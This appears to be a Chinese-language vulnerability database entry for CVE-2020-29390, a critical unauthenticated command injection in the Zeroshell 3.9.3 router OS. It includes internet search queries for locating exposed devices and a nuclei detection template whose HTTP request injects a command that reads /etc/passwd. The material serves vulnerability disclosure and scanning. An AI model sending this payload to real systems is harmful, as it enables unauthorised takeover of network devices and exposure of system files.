Zeroshell Command Injection Vulnerability

漏洞信息

漏洞名称: Zeroshell Command Injection Vulnerability

漏洞编号:

  • CVE: CVE-2020-29390

漏洞类型: 命令执行

漏洞等级: 严重

漏洞描述: Zeroshell是一款基于Linux的路由器操作系统,广泛用于企业网络环境中,提供路由、防火墙、VPN等功能。由于其功能强大且部署广泛,Zeroshell在企业级网络设备中占有重要地位。该漏洞存在于Zeroshell 3.9.3版本的/cgi-bin/kerbynet接口中,具体为StartSessionSubmit参数存在命令注入漏洞。攻击者可以通过构造特定的HTTP请求,利用shell元字符和%0a字符,实现未授权远程命令执行。这一漏洞的根源在于对用户输入的不当处理,导致攻击者可以注入恶意命令。由于该漏洞允许未授权攻击者执行任意系统命令,其影响极为严重,可能导致服务器被完全控制,敏感数据泄露,甚至被用作进一步攻击的跳板。攻击者无需任何认证即可利用此漏洞,且攻击过程可以自动化执行,极大地增加了其危害性。

产品厂商: zeroshell

产品名称: zeroshell

影响版本: 3.9.3

搜索语法: http.title:”zeroshell”

来源: https://github.com/projectdiscovery/nuclei-templates/blob/f519a9814a5a3677c443b672b7a01b1be5b9b0f4/http%2Fcves%2F2020%2FCVE-2020-29390.yaml

类型: projectdiscovery/nuclei-templates:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

id: CVE-2020-29390

info:
name: Zeroshell - Command Injection
author: DhiyaneshDk
severity: critical
description: |
Zeroshell 3.9.3 contains a command injection vulnerability in the /cgi-bin/kerbynet StartSessionSubmit parameter that could allow an unauthenticated attacker to execute a system command by using shell metacharacters and the %0a character.
reference:
- https://web.archive.org/web/20210303043709/https://blog.quake.so/post/zeroshell_linux_router_rce/
- https://www.exploit-db.com/exploits/41040
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-29390
cwe-id: CWE-78
epss-score: 0.40234
epss-percentile: 0.97171
cpe: cpe:2.3:o:zeroshell:zeroshell:3.9.3:*:*:*:*:*:*:*
metadata:
vendor: zeroshell
product: zeroshell
shodan-query: http.title:"zeroshell"
fofa-query: title="zeroshell"
google-query: intitle:"zeroshell"
tags: cve,cve2020,zeroshell,rce,router,kev

http:
- raw:
- |
GET /cgi-bin/kerbynet?Action=StartSessionSubmit&User=%27%26cat%20/etc/passwd%26%27&PW= HTTP/1.1
Host: {{Hostname}}

matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"

- type: word
part: body
words:
- "<title>Start Session</title>"

- type: status
status:
- 200